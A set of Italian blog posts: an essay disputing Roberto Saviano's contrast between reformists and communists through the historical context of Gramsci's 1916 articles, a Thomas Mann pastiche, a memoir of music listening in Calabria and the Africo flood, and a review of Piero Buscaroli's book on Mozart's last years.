1. Affinità e divergenze fra Saviano e noi. Considero Gomorra uno fra i libri letterariamente più importanti di questi anni nonché fra i capolavori del giornalismo d'inchiesta italiano. Ammiro e rispetto Roberto Saviano, anche se a volte non sono stato d'accordo con lui su alcune delle sue prese di posizione (ad es. sulla politica dei governi israeliani, oppure sugli scontri di piazza che hanno contrassegnato l'ultima fase del governo Berlusconi).

Ho trovato molto superficiale e semplicistico l'articolo di Saviano uscito su "La Repubblica" del 28 febbraio, dedicato all'elogio del riformismo.

Prendendo spunto da un recente libro di Alessandro Orsini sulla storia della sinistra italiana, libro che contrappone Turati a Gramsci, Saviano traccia una riga sulla lavagna, mettendo da una parte i riformisti e dall'altra i comunisti. I primi sarebbero pacati, realisti, tolleranti e liberali, i secondi sarebbero fanatici, violenti, malati di dogmatismo e d'ideologia.

Scrive Saviano: "i comunisti hanno educato generazioni di militanti a definire gli avversari politici dei pericolosi nemici, ad insultarli ed irriderli. Fa un certo effetto rileggere le parole con cui un intellettuale raffinato come Gramsci definiva un avversario, non importa quale: 'La sua personalità ha per noi, in confronto della storia, la stessa importanza di uno straccio mestruato'. Invitava i suoi lettori a ricorrere alle parolacce e all'insulto personale contro gli avversari che si lamentavano delle offese ricevute [...]. Arrivò persino a tessere l'elogio del 'cazzotto in faccia' contro i deputati liberali. I pugni, diceva, dovevano essere un 'programma politico' e non un episodio isolato".

Viceversa, sempre secondo Saviano:

"in quegli stessi anni Filippo Turati, dimenticato pensatore e leader del partito socialista, conduceva una tenacissima battaglia per educare al rispetto degli avversari politici nel tentativo di coniugare socialismo e liberalismo".


Questa contrapposizione fra estremisti e riformisti, dice Saviano, si protrae fino ad oggi:

"Naturalmente, oggi, nel Pd erede del Pci, non c'è più traccia di quel massimalismo verboso e violento, e anche il linguaggio della Sel di Vendola è molto meno acceso. Ma c'è invece, fuori dal Parlamento, una certa sinistra che vive di dogmi. Sono i sopravvissuti di un estremismo massimalista che sostiene di avere la verità unica tra le mani", sono quei "pacifisti talmente violenti da usare la pace come strumento di aggressione per chiunque la pensi diversamente". Eccetera.

Quindi tutto lineare, nello schema di Saviano. Tutto semplice. Riformisti, buoni, in parlamento; comunisti, fuori dal parlamento, cattivi. Chiaro, no?

E però, se si va a verificare nel dettaglio gli esempi storici addotti da Saviano, ecco che le cose si complicano.

2. Cosa c'era prima degli assorbenti. Vediamo ad esempio la prima frase "incriminata". Di un suo avversario politico ("non importa quale", dice Saviano), Gramsci scrisse: "La sua personalità ha per noi, in confronto della storia, la stessa importanza di uno straccio mestruato".

La similitudine usata da Gramsci, al nostro orecchio di contemporanei, suona senza dubbio molto sgradevole. Intollerabilmente sessista, fra l'altro. Proviamo però a collocarla nel suo contesto. La frase è tratta da un articolo di Gramsci, allora venticinquenne, pubblicato sull'edizione torinese dell'"Avanti!" il 19 aprile 1916. In quel periodo la redazione di Torino dell'"Avanti!", di cui Gramsci era giornalista, stava conducendo una campagna di stampa sugli sprechi e sulle ruberie di cui si erano resi responsabili i promotori dell'Esposizione Universale di Torino del 1911. Come spesso succede in Italia quando si tratta di "grandi opere", anche questa era stata accompagnata da malversazioni, che Gramsci e i giornalisti dell'"Avanti!" avevano puntualmente denunciato.

Fra i bersagli di questa campagna di stampa c'era il conte Delfino Orsi, che all'epoca faceva parte della direzione della "Gazzetta del Popolo", un giornale monarchico, filogovernativo e interventista. L'articolo di Gramsci del 19 aprile 1916 è appunto una risposta ad un altro giornalista che aveva accusato l'"Avanti!" di aver attaccato Delfino Orsi non per il ruolo di quest'ultimo nello scandalo dell'Esposizione Universale, bensì invece perché Orsi era "una delle più influenti figure dell'interventismo subalpino".

Teniamo sempre presente il contesto storico. In Italia, nel 1916, lo scontro politico fra governo e opposizione era polarizzato sul problema della guerra. Era soprattutto lo scontro fra interventisti e pacifisti. Era in corso la Prima guerra mondiale, un conflitto che oggi praticamente tutti gli storici valutano come un'orrenda ecatombe, una catastrofe che segnò l'inizio del declino della civiltà europea, e che, in Italia, aprì la via al fascismo. In Italia il bilancio della guerra fu di circa 680.000 morti e quasi 500.000 invalidi permanenti. Il Partito Socialista Italiano, nel quale all'epoca militavano sia Gramsci sia Turati, era su posizioni pacifiste, e si opponeva compattamente alla guerra. A favore della guerra erano invece i nazionalisti, i liberali e il Partito Socialista Riformista Italiano, composto perlopiù da riformisti, come Bonomi e Bissolati, che erano stati espulsi dal P.S.I. già nel 1912 per il loro appoggio alla guerra di Libia.

Tale era il contesto della polemica fra l'"Avanti!" di Gramsci da una parte, e la "Gazzetta del Popolo" di Delfino Orsi dall'altra.

Quando, nell'agosto 1917, a Torino la popolazione diede vita ad una rivolta spontanea contro la guerra e contro la mancanza di pane (rivolta che fu ovviamente repressa nel sangue, con circa 50 morti e 200 feriti fra gli operai e le loro famiglie), la "Gazzetta del Popolo" di Delfino Orsi fu tra gli organi di stampa che giustificarono la repressione.

Più tardi, coerentemente, Delfino Orsi fu deputato nel Parlamento fascista, ed era ancora tale quando morì nel 1929 (mentre Gramsci era in carcere). Il gerarca Federzoni, nel suo elogio funebre pronunciato alla Camera dei Deputati l'11 dicembre 1929, disse di Orsi fra l'altro: "egli poté rinverdire i fasti patriottici della Gazzetta del Popolo, levando ancora la gloriosa bandiera del Risorgimento per le nuove battaglie dell'intervento nella grande guerra, della difesa delle aspirazioni nazionali, della rivoluzione fascista".


Delfino Orsi era appunto l'uomo che Gramsci paragonò ad uno "straccio mestruato". Un epiteto certamente poco gentile. Ma possiamo veramente dire, con Saviano, che "non importa quale" individuo egli fosse, né in quale periodo storico fosse situata la polemica fra lui e Gramsci?

Che diremmo di un giornalista il quale scrivesse, di alcuni suoi concittadini (non importa quali, direbbe Saviano), che essi sono "vigliacchi, in realtà", un "manipolo di killer", "abbrutiti e strafatti", un "branco di assassini" che "vivono come bestie"? Sono insulti pesanti e hanno ben poco di mite e di liberale. Ma se collochiamo questi epiteti nel contesto dell'articolo da cui sono tratti, scopriamo che si riferiscono ad una banda di camorristi responsabili di svariati omicidi, e che l'autore del pezzo è Roberto Saviano ("la Repubblica", 22 settembre 2008). Dobbiamo condannare il giornalista per la sua eccessiva violenza verbale? O non dobbiamo piuttosto ritenere che l'indignazione di Saviano, seppure si esprima in termini poco urbani, sia alquanto giustificata dalle circostanze?

3. La nobile arte. Vediamo, ancora, un altro passo gramsciano cui si riferisce Roberto Saviano. Si tratta dell'articolo intitolato "Elogio del cazzotto", uscito sempre sull'"Avanti!" il 12 giugno 1916. L'episodio cui si riferiva Gramsci in questo articolo era il seguente. Dei deputati socialisti, come gesto dimostrativo, avevano lanciato nell'aula di Montecitorio alcune cartoline con l'effige di parlamentari russi che erano stati deportati in Siberia a causa della loro opposizione alla guerra (c'era ancora il regime assolutista dello zar, e la Russia era alleata in guerra con le potenze della Triplice Intesa, con l'Italia, e contro la Germania e l'Impero asburgico). Un deputato interventista, Giuseppe Bevione, in quell'occasione accusò i socialisti di essere al soldo del nemico. Ne nacque un tafferuglio, durante il quale il socialista Nino Mazzoni colpì Bevione con un pugno. Questo, nello specifico, fu il "cazzotto" cui si riferisce Gramscì nel suo articolo, scrivendo fra l'altro:

"Non siamo entusiastici ammiratori del diritto del pugno; eppure quei pugni vibrati robustamente sul ceffo di Bevione ci riempiono di giubilo e di ammirazione".

Anche qui: possiamo dire che sia davvero ininfluente collocare la citazione di Gramsci nel suo contesto?

4. Vota Antonio. Veniamo ora ad un'altra delle dicotomie che Roberto Saviano delinea nel suo pezzo: quella fra opposizione parlamentare Vs. opposizione extraparlamentare. La prima riformista e "buona", la seconda estremista e "cattiva". E confrontiamo questa dicotomia con un esempio storico.

Nel giugno 1924, dopo il rapimento di Giacomo Matteotti, i parlamentari dell'opposizione antifascista decisero di disertare le aule del Parlamento, dando così luogo a quella forma di protesta extraparlamentare che passò alla storia come "secessione dell'Aventino". Fra loro c'era Filippo Turati, assieme a tutti i socialisti riformisti. C'era anche la piccola pattuglia dei deputati comunisti, che però, nel novembre 1924, verificata l'inefficacia della protesta aventiniana, decisero di rientrare in Parlamento, dove rimasero a contrastare la maggioranza fascista, praticamente da soli, per altri due anni, fino a quando il partito comunista non fu messo fuori legge. (A che tipo di pacifica dialettica parlamentare fossero avvezzi i deputati fascisti lo si può vedere consultando la voce di Wikipedia dedicata a Francesco Misiano).

Quindi, ricapitolando. Nel 1925 abbiamo il socialista riformista Turati fuori dal parlamento. In parlamento c'è una maggioranza parlamentare "estremista" fascista e una minoranza comunista (parimenti "estremista" secondo Saviano) di cui Gramsci fa parte. Comunque si voglia giudicare la situazione, si tratta di un caso in cui la realtà storica si rivela più complessa dei rigidi schematismi delineati da Saviano.

5. Conclusione. Con tutto questo discorso non voglio dire, naturalmente, che la violenza verbale nella lotta politica va sempre bene, che è sempre giustificata. Sono d'accordo con Saviano nel condannare certe forme di settarismo inutile e controproducente (di cui è un esempio il giudizio su Turati espresso da un Togliatti al peggio del suo stalinismo, citato da Saviano nel suo articolo). Né intendo affrontare discorsi astratti sul punto se sia meglio la lotta extraparlamentare o quella parlamentare.

Dico che ogni situazione fa storia a sé, che occorre giudicare caso per caso, e che generalizzazioni astratte e astoriche, come quella proposta da Saviano nell'articolo in questione, non hanno alcun significato.
          Una pagina che Thomas Mann non ha mai scritto        
"Gli occidentali hanno forma, ma non hanno profondità", sentenziò Deutschlin. "I russi hanno profondità, ma non hanno forma. L'una e l'altra le abbiamo soltanto noi tedeschi".

"Bella frase, Deutschlin", disse Adrian. "Dovresti ripeterla domattina durante la lezione di ginnastica: il professore ne sarà contentissimo".

Deutschlin rise nervosamente. Era sempre difficile capire se Adrian parlasse sul serio o celiasse e, nel secondo caso, se avesse o meno l'intenzione di burlarsi del suo interlocutore.

Adrian proseguì: "E cosa mi diresti di un popolo allo stesso tempo caotico e superficiale? Un popolo presso cui non esistono ruoli, né regole definite e stabili. Dove il linguaggio stesso non conosce significati precisi e sempre uguali, e dove non ci si può intendere, né si può fare affidamento sulla parola di chicchessia, né è possibile l'arte, se questa presuppone un codice di comunicazione fra gli artisti e il pubblico. Dove tutto ciò che si dice, o si fa, rimane senza conseguenze. Dove si può essere indifferentemente il peggiore dei mascalzoni o la persona più santa, senza che ciò influisca affatto sulla reputazione e sulla carriera. Dove la politica non è altro che una farsa senza fine in cui il governo finge di governare, l'opposizione finge di opporsi, e ognuno si fa gli affari suoi..."

"Leverkühn!" - lo interruppi. "E' orribile! Forse ho capito a quale popolo ti riferisci. Ma sei molto ingiusto. In nessun luogo si potrebbe vivere così. Stai descrivendo l'Inferno in terra".

"Credi, Zeitblom?" rispose Adrian lentamente. "Ma questo è ciò che pare a te, da bravo studente prussiano quale tu sei. Invece, a quanto ne so, quello che ti ho appena descritto è uno dei popoli più felici. O almeno, è il popolo che sembra il meno disposto a cambiare la propria situazione. Se li vedessi, come ridono e scherzano tutto il giorno..."

"Ah, basta così" intervenne ancora Deutschlin. "Finitela con le vostre chiacchiere cupe e confuse! Io so soltanto che il secolo ventesimo, iniziato or ora, sarà un'epoca di progresso e di pace, e che noi tedeschi saremo chiamati a guidare l'Europa verso un avvenire luminoso. Gli altri popoli dovranno solo riconoscere la nostra indubbia superiorità morale, e lo faranno certamente. In un modo o nell'altro".

Adrian non lo ascoltò nemmeno. Sdraiato sulla paglia come noialtri, sembrava assorto in una sua visione, le mani dietro la nuca e lo sguardo fisso in un punto sul soffitto del fienile. "L'inferno, hai detto? Interessante..."

Mentre rientravamo verso la città, lo presi da parte e gli posi una domanda. "Dimmi, Leverkühn" gli chiesi, "ma tu cosa vorresti fare dopo il diploma?"

"Non te l'ho mai detto, Serenus?" Per la prima volta mi aveva chiamato per nome. "Farò il musicista".

Pubblicato il 3 ottobre 2011 su Evulon.

          Pausa pranzo        
Torno a casa. Metto una pentola d'acqua sul fornello e lo accendo. Poi prendo un dischetto e lo metto nel lettore.

Beethoven, Sonata op. 106 nell'orchestrazione di Felix Weingartner. Royal Philharmonic Orchestra, diretta dallo stesso Weingartner. Incisione storica, del 1930. Riversata su CD, edizione economica.

Che idea bislacca, trascrivere l'Hammerklavier per orchestra. L'opera, così, non funziona. E' incongrua, fuori posto. O forse è l'arrangiamento che non va bene: tutto in legato! Come no: siccome al piano non si può fare e con l'orchestra sì, allora mettiamo il glissando un po' dovunque...

Non importa. L'op. 106 è bellissima anche così. Beethoven è l'unico musicista che riesce a commuovere anche nelle esecuzioni più impossibili, e nelle situazioni d'ascolto più precarie.

Audiocassette in edizioni da autogrill della Quinta o della Sonata al chiaro di luna ascoltate in auto, d'estate, andando verso la spiaggia, coi finestrini aperti e quasi tutta la musica che si perde nel rumore...

C'è qualcosa di disneyano, nell'orchestrazione anni '30 di Weingartner. Quando ho visto per la prima volta Fantasia? Non ricordo, ma dovevo avere quattro o cinque anni. A Milano. I miei mi portarono al cinema, sicuramente, e qualcosa deve essersi depositato profondamente nella mia memoria. La Sesta sinfonia mi sembra di conoscerla da sempre.

Questa, però, è preistoria. La storia dei miei ascolti musicali comincia invece a metà degli anni '80. Avevo (o meglio, i miei genitori avevano) un magnetofono da tavolo a cassette, di quelli che si usavano per registrare pro-memoria e appunti vocali. Io lo usavo per sentire musica. Le cassette le avevo comprate all'uscita da scuola, prima di prendere il treno che mi avrebbe ricondotto a casa.

Il corso principale della città dove frequentavo il liceo scientifico aveva due negozi di dischi. Quello della signora Esposito era il più fornito: aveva dei meravigliosi cataloghi delle principali case discografiche. I cataloghi, però, mi mettevano in imbarazzo. Avrei voluto consultarli per ore, ma non stava bene: a un certo punto bisognava scegliere e ordinare. E poi, la cassetta arrivava dopo settimane, e a quell'epoca ero molto impaziente.

Il negozio del signor Cavo (dischi ed elettrodomestici, nomen omen) era più piccolo, ma aveva la particolarità di essere praticamente sempre aperto. Arrivavi col treno la mattina presto e trovavi già la saracinesca alzata, oppure perdevi il primo treno del ritorno, e potevi comunque rifugiarti una mezz'oretta da Cavo a contemplare lo scaffale con le cassette, senza essere disturbato (era, e per quanto ne so è ancora, un uomo di una discrezione esemplare, cosa non frequente in provincia). Potevi stare lì davanti quanto volevi prima di scegliere cosa comprare, oppure anche uscire senza aver preso niente, con un semplice grazie e arrivederci.

Ma, quando avevo diecimila lire in tasca, mi piaceva sempre entrare da Cavo per poi uscirne con una cassetta di Mozart o di Beethoven ben sistemata in mezzo ai libri - che tenevo orgogliosamente legati con una cinta elastica, per distinguermi dai miei compagni che sfoggiavano zainetti Invicta dai quali, durante l'intervallo, tiravano fuori i loro dischi di musica pop.

Intanto l'acqua bolle. Mezzo cucchiaino di sale. Apro la dispensa: pennette rigate o spaghetti? Opto per gli spaghetti: cuociono prima.

"La città dove frequentavo il liceo". Ho già scritto il nome di questa città? No. Lo scrivo adesso: Locri. Provincia di Reggio Calabria.

Da una vita, la semplice domanda "Di dove sei?" mi obbliga a fornire spiegazioni complicate e, suppongo, noiose, e anche poco convincenti. Ai tempi del liceo la risposta era semplice: di Africo. Se l'interlocutore era discreto, bastava così. Altrimenti scattava l'altra domanda: "E perché parli con l'accento milanese?" - Sai, la mia famiglia abitava a Milano, poi ci siamo trasferiti in Calabria. "Ah, allora i tuoi sono milanesi". - Niente affatto, siamo calabresi da chissà quante generazioni; ma i miei erano emigrati a Milano alla fine degli anni '60. "E come mai siete tornati qui?" - Uffa...

Da quando sto al Nord, la spiegazione è diventata ancora più involuta e implausibile. Se ci penso, mi vedo in un commissariato di polizia, seduto davanti a una lampada da tavolo puntata addosso a me, mentre l'ispettore, nascosto in una minacciosa penombra, mi inquisisce. "Ricominciamo daccapo. Di dove sei?" - Di Vigevano. "Ma non parli con l'accento di Vigevano". - No, perché sono calabrese. "Ma sul documento c'è scritto che sei nato a Milano". - Sì, perché all'epoca i miei abitavano lì. "Ah. E adesso dove abitano?" - Ad Africo. "Prima hai detto a Bianco." - Sì, anagraficamente stanno a Bianco. Sono due paesi confinanti. In realtà casa dei miei è tra Africo e Bianco, sulla statale. Ma comunque è più vicina ad Africo che a Bianco, anche se, sulla carta, è nel territorio di Bianco. Però i miei sono di Africo. "Ricominciamo daccapo..."

Intanto l'op. 106 di Beethoven, trascritta da Weingartner, è finita. Devo cambiare il CD. Ho ancora una cinquantina di minuti prima di tornare in ufficio. Cosa metto?

Scelgo velocemente, prima che la pasta scuocia: Invenzioni a due e tre voci di J. S. Bach. Glenn Gould, al pianoforte.

Butto gli spaghetti nello scolapasta. Che senso ha suonare il piano facendo finta che sia un clavicembalo? Venticinque anni che ascolto Gould e me lo chiedo.

Dicembre millenovecentoottantotto. Pomeriggio. Devo studiare per l'interrogazione di matematica. Non ne ho proprio voglia. Slego il fardello dei libri di scuola e ne estraggo il mio acquisto di oggi. Una cassetta made in U.S.A., dall'elegantissima copertina nera bordata d'oro. Bach, Inventions and Sinfonias. Glenn Gould.

Metto la cassetta nel mangianastri. Una musica astratta, trasparente, cantabile. Sembra provenire dallo spazio siderale, eppure i contorni si distinguono con precisione. Una sensazione di freddo secco, fine e pungente.

Guardai fuori. Non potevo crederci: stava nevicando. La casa dei miei è sul mare; l'Aspromonte dista solo una cinquantina di chilometri, ma qui sulla costa l'inverno è mite, la neve è un evento che capita forse una volta ogni dieci anni. Capitò quella volta. Mi alzai dalla scrivania e andai alla finestra a vedere i cristalli che scendevano lentamente.

L'inverno è mite, sulla costa ionica della Calabria. La stagione peggiore è l'autunno. A fine ottobre le piogge arrivano improvvise, massicce e violente, e possono durare per settimane. Non c'è che da chiudersi in casa e aspettare che passino.

Ho sedici anni e sto correndo attraverso la piazza principale di Locri verso la stazione. Il cielo è nero, l'aria è elettrica e tra poco scoppierà un forte temporale. Stavolta ho perso troppo tempo dalla signora Esposito, non sapevo decidermi, alla fine ho comprato la Sesta sinfonia di Beethoven e i concerti K. 488 e K. 491 nell'interpretazione di Daniel Barenboim, ma ora rischio di perdere il treno. La Sesta un po' la conosco, è quella della pubblicità. Ma il Concerto in do minore. Chissà com'è. Mozart scrive raramente in minore. Ma quando lo fa, mette i brividi. Mi precipito con il cuore in gola, mentre le bobine sbattono ritmicamente contro l'involucro di plastica nascosto fra i libri.

"Secondo le testimonianze di molta gente che ha vissuto in prima persona quei tragici giorni dell'alluvione e attraverso dei libri pubblicati da alcuni scrittori del paese, il 15 ottobre 1951 rappresenta una data indimenticabile e storica per il popolo di Africo in quanto un evento imprevisto sconvolse l’esistenza di Africo e della sua frazione, Casalnuovo. Per quattro giorni consecutivi dal 15 al 18 ottobre 1951, una bufera di vento, pioggia e nevischio si abbatté ininterrottamente sui due paesi causando frane, crolli di abitazioni e la distruzione di intere colture. La gente, spaventata, si riversò in massa in chiesa, pregando Dio e il suo Santo protettore, San Leo. La catastrofe avvenne soprattutto giorno 17 con continue frane, smottamenti di terreno, pioggia battente e violenta".

"La mattina del 18 ottobre la gente ricorda un'aria rossastra su nel cielo che metteva paura solo ad osservarla. [...] Molti furono quelli che, sorpresi dal maltempo, non fecero in tempo a mettersi in salvo, perché la piena del fiume impedì loro la via del ritorno a casa. Alla fine i due paesi contarono i danni: i morti furono sei a Casalnuovo e tre ad Africo. Gran parte del bestiame fu trascinato dal fiume, le case furono per la maggior parte distrutte e sepolte, le colture non più esistenti perché trascinate dalla pioggia."

"La lenta organizzazione della vita civile e della lotta politica fu sconvolta dall'alluvione del 1951. Una frana spazzò via il paese. I morti furono pochi, ma Africo scomparve. La storia della ricostruzione è allucinante. Per tutto un decennio gli africoti cercarono il terreno per ricomporre la loro comunità. Si iniziò una lotta tra chi voleva tornare nel vecchio territorio, dove erano restate le misere proprietà, e quelli che cercavano una sistemazione nuova. La scelta di una soluzione divise i due campi, anche la sinistra. Alla fine prevalse la tesi, sostenuta da don Stilo e dalla DC, di costruire un nuovo comune in una località distante 50 chilometri dal vecchio paese. Per lunghi anni la maggioranza degli africoti visse in un campo profughi. All'inizio del 1960 era sorta Africo Nuovo".

Un bambino di nove anni. Una bambina di due anni. Che esperienza possono aver fatto della catastrofe, e poi della loro condizione di profughi? Come l'hanno vissuta? Che tracce ha lasciato su di loro?

I miei genitori mi hanno parlato pochissimo dell'alluvione e degli eventi successivi. Hanno sempre insistito affinché studiassi, hanno incoraggiato i miei interessi per la musica, la letteratura, le scienze. Mi hanno sostenuto fino al diploma, poi fino alla laurea. Ma sugli eventi del loro paese non mi hanno mai detto molto.

Mio padre non sopporta il vento. Se è notte, e fuori c'è vento, non riesce a dormire.

"Non si è mai capito - manca una documentazione e mancano anche testimonianze orali credibili - se fu la mafia calabrese a premere per ricostruire Africo nel territorio di Bianco, senza terra, senza delimitazione territoriale e stato giuridico (com'è rimasto fino al 1980), in una località dove i contadini poveri, la grande maggioranza degli abitanti, sarebbero stati privati di quei diritti civici - il legnatico, il seminativo, il pascolo - di cui godevano nel vecchio paese. Da una montagna aspra al mare. Un caso esemplare di perdita dell'identità individuale e collettiva: gli abitanti di Africo infatti non sono più pastori né contadini, odiano il mare e non sono diventati né pescatori né marinai".

Ho diciannove anni. Preparo l'esame di maturità ascoltando la Sinfonia Italiana di Mendelssohn e la Sinfonia Incompiuta di Schubert. L'incongruità della situazione mi è divenuta insopportabile: che senso ha vivere in Calabria stando sempre chiuso in casa, parlare con un ridicolo accento settentrionale e, in generale, far finta di abitare in Mitteleuropa? A questo punto, non è meglio emigrare? Spengo il registratore e accendo la radio. Trasmettono The End dei Doors. C'è l'anniversario della morte di Jim Morrison.

Alla maturità, filosofia non è uscita. Peccato. Mi sarebbe piaciuto portare Kant. Non capisco perché tutti dicono che è un pensatore difficile: a me sembra così naturale, così ovvio. Certo: lo spazio, il tempo, sono forme della nostra mente. Ma, in sé, non esistono affatto.

Spengo lo stereo, aziono la lavastoviglie. E' ora di tornare in ufficio.

(Racconto pubblicato anche su Evulon. Nota: tutti i paragrafi tra virgolette sono tratti dal sito Internet di un mio compaesano, http://www.giuseppemorabito.it tranne l'ultimo che è tratto da Corrado Stajano, L'Italia ferita. Storie di un popolo che vorrebbe vivere secondo le regole della democrazia, Cinemazero, Pordenone 2010, pag. 96).
          Mozart schedato da Buscaroli        
Va subito detto che il titolo del libro di Piero Buscaroli, La morte di Mozart (Rizzoli, Milano 1996, pp. 373) è fuorviante. L'oggetto della trattazione di Buscaroli non è, infatti, "la morte di Mozart", bensì gli ultimi dieci anni di vita del grande compositore. L'intento dichiarato di Buscaroli è quello di demolire tutta una serie di leggende, falsità e luoghi comuni che, secondo lui, si sarebbero accumulati intorno alla figura di Mozart ad opera dei suoi biografi otto e novecenteschi: il Mozart di Buscaroli sarebbe infine quello genuino ed autentico, finalmente restituitoci dopo due secoli di menzogne.

Mi sembra che il punto di vista di Buscaroli sia politicamente determinato e che questa componente politica sia un elemento essenziale del suo metodo. Infatti, Buscaroli è un nostalgico dell'ancien régime, né più né meno. Tutto ciò che deriva dall'Illuminismo e dalla Rivoluzione francese, per Buscaroli, è pura e semplice aberrazione. Buscaroli non accetta nulla della modernità; del feudalesimo, invece, rimpiange ogni aspetto (per esempio anche l'elevata mortalità infantile, p. 261). Questo suo punto di vista radicalmente antimoderno dovrebbe, nelle intenzioni di Buscaroli, garantirgli una completa indipendenza dalle ideologie correnti nella nostra epoca e consentirgli così di vederci più chiaro di ogni altro biografo mozartiano prima di lui.

In altre parole, il libro di Buscaroli non si basa affatto su una ricerca archivistica che abbia prodotto fonti inedite e di prima mano. Si basa, invece, sulla reinterpretazione delle fonti già note, le quali, sotto l'occhio limpido e scevro di pregiudizi di Piero Buscaroli, rivelerebbero alfine quella verità che nessuno, prima di lui, aveva veduto.

Le fonti principali di Buscaroli sono infatti: l'epistolario mozartiano; la raccolta di documenti a cura di Erich Deutsch Mozart. Die Dokumente seines Lebens, Kassel 1961; e le prime biografie mozartiane di Schlichtegroll (1793), Niemetschek (1798), Nissen (1828) e Jahn (1856-59). Sono tutti materiali ben conosciuti e ampiamente utilizzati dalla critica mozartiana. Buscaroli esprime invece il massimo disprezzo per il W. A. Mozart di Hermann Abert (1921), opera considerata fondamentale da tutti ma non da Buscaroli il quale, naturalmente, è anche in costante e aspra polemica con quasi tutta la critica mozartiana novecentesca.

Vediamo allora, più nel dettaglio, qual è il bersaglio polemico della ricostruzione buscaroliana.

Mozart, che all'età di venticinque anni lasciò il servizio dell'Arcivescovo di Salisburgo per trasferirsi a Vienna, dove cercò di mantenersi con i proventi della sua attività di pianista e compositore, è oggi celebrato come il primo grande musicista dell'epoca borghese, colui il quale, per primo, tentò di conquistarsi lo status di libero artista, riscattando così la figura del musicista dal suo ruolo di dipendente delle corti. Nelle parole del sociologo Norbert Elias (1991): "Da outsider borghese al servizio della corte, Mozart combatté fino in fondo, con incredibile coraggio, una battaglia di affrancamento dai suoi padroni e committenti aristocratici. Lo fece di propria iniziativa, per amore della propria dignità di uomo e del proprio lavoro di musicista. E perse la battaglia [...]". Secondo Elias, Mozart perse la battaglia (e la vita) in quanto i tempi non erano ancora maturi per lui: la lotta di Mozart si svolse in una nazione, l'Austria del settecento, che si trovava "in una fase dello sviluppo sociale nella quale i rapporti di potere tradizionali erano praticamente ancora intatti".

Per l'ultrareazionario Buscaroli, questa moderna visione di Mozart come artista rivoluzionario è fumo negli occhi. Con grande insistenza, Buscaroli ci propone invece un Mozart meschino, pavido e conformista, caratterizzato dalla "evidente mancanza di superiori doti intellettuali e morali" (p. 342). "Mai anelò al riscatto sociale e politico della figura dell'artista, cercava un reddito fisso, ma alto" (p. 32). "Il libero mercato dell'arte gli si spalanca, e lui continua a sperare in un impiego a corte, meglio a Vienna, dove potrebbe, tutt'al più, raddoppiare lo stipendio di ora. Uomo libero è solo a parole [...]. I suoi sogni sono quelli di un impiegato" (pp. 183-4).

Tutto il libro di Buscaroli pullula di simili osservazioni, che in verità sono reiterate tanto spesso, quanto poco sono seriamente argomentate. E non potrebbe essere diversamente, dato che, come ho detto sopra, le fonti di Buscaroli sono le stesse dei critici mozartiani che lui tanto disprezza. Se, per loro, queste fonti disegnano una determinata figura e per Buscaroli la figura esattamente opposta, ciò dipenderebbe solo dal fatto che Buscaroli è intelligente e onesto, mentre gli altri autori sono stupidi e/o in malafede.

Un esempio del metodo argomentativo di Buscaroli lo si trova nella trattazione delle dimissioni di Mozart dalla corte arcivescovile di Salisburgo nel giugno 1781. In quella circostanza, com'è noto, il segretario dell'Arcivescovo, un tale conte Arco, per tutta risposta all'insistenza con cui Mozart continuava a chiedergli di accettare la sua richiesta di dimissioni, assestò al musicista un calcio nel sedere. Questo episodio, che ha suscitato l'indignazione unanime di tutta la posterità, viene raccontato da Buscaroli con le tecniche adottate dagli avvocati difensori di chi viene processato per stupro:
A) minimizzare. "Credette di dover ridurre alla ragione il musicista ribelle con la zotica seppur benintenzionata famigliarità elargita a sguatteri e inservienti".
B) Insinuare dubbi sulla veridicità del fatto. "E se fosse tutta invenzione [...]?"
C) Sostenere che la vittima, in fondo, se l'è cercata. "E il giovane genio dal corpo minuto [...] fece tutto quanto poteva per trarlo fuori dai gangheri" (tutte le citazioni sono dalla p. 53).
Il tutto al palese scopo di tessere l'apologia di un sistema sociale, nel quale era possibile che un Mozart venisse preso a calci dallo scagnozzo di un feudatario.

A ciò aggiungiamo il fatto che, della musica di Mozart, Buscaroli parla poco o nulla: al Don Giovanni sono dedicate in tutto 3 (tre) pagine, nelle quali Buscaroli si limita a dirci che Da Ponte copiò il libretto da Giovanni Bertati; e sai che novità! Questo ci dà la misura di quanto la lettura di questo libro possa risultare tediosa e irritante.

Questo, almeno, per le prime duecentosessanta pagine. E' solo quando Buscaroli inizia a parlare degli ultimi mesi di vita di Mozart, che il suo discorso comincia a farsi un minimo interessante. A proposito della genesi del Requiem, Buscaroli propone una tesi che, pur non essendo necessariamente giusta, non è né futile né banale. Secondo Buscaroli (il quale, per una volta, avverte onestamente il lettore di non aver prove di quanto afferma: p. 324), l'incompiutezza del Requiem non sarebbe dovuta alla morte improvvisa del compositore, bensì ad una sua scelta deliberata. Infatti, Mozart fu incaricato della composizione da un nobile musicista dilettante, il conte Walsegg-Stuppach, il quale intendeva appropriarsi della stessa paternità dell'opera: il conte voleva cioè far eseguire il Requiem (dalla propria orchestra di corte) figurandone lui come autore.

Secondo Buscaroli, quando Mozart si rese conto dei termini di questo incarico (che inizialmente aveva accettato per necessità di denaro), maturò un invincibile disgusto per il lavoro che gli era stato commissionato: la sua coscienza artistica e professionale si ribellò all'idea di dover comporre un'opera che non avrebbe mai potuto rivendicare come sua. Sarebbe questo, secondo Buscaroli, il vero motivo per cui il Requiem rimase incompiuto.

Una prova a sostegno della sua ricostruzione sarebbe costituita, secondo Buscaroli (il quale considera il Requiem di Mozart un'opera minore e mal riuscita), dalla stessa scarsa qualità musicale della composizione. Mozart, cioè, sapeva di dover scrivere un'opera che sarebbe andata sotto il nome di un musicista dilettante: perciò la scrisse in modo volutamente sciatto, adoperando ad esempio un "contrappunto opaco, scontato, da manuale" (p. 325), e alla fine si rifiutò senz'altro di completarla, meditandone probabilmente la distruzione.

Buscaroli, però, sembra non rendersi conto che quanto lui scrive in queste pagine finali, a proposito del Mozart autore del Requiem, contraddice in modo stridente quanto egli stesso ha sostenuto nel corso di tutti i capitoli precedenti. Se Mozart, dal 1781 fino all'estate del 1791, era quel piccolo-borghese pusillanime e opportunista che Buscaroli si è sforzato di dipingere, come si spiega questo improvviso scatto di orgoglio e di dignità a pochi mesi dalla morte?

A me sembra, invece, che in queste pagine finali gli occhiali dell'ideologia siano in qualche modo caduti dal naso di Buscaroli, il quale, alla fine, non può a fare a meno di riconoscere a Mozart quelle qualità umane che fin qui gli aveva ostinatamente e faziosamente negato.

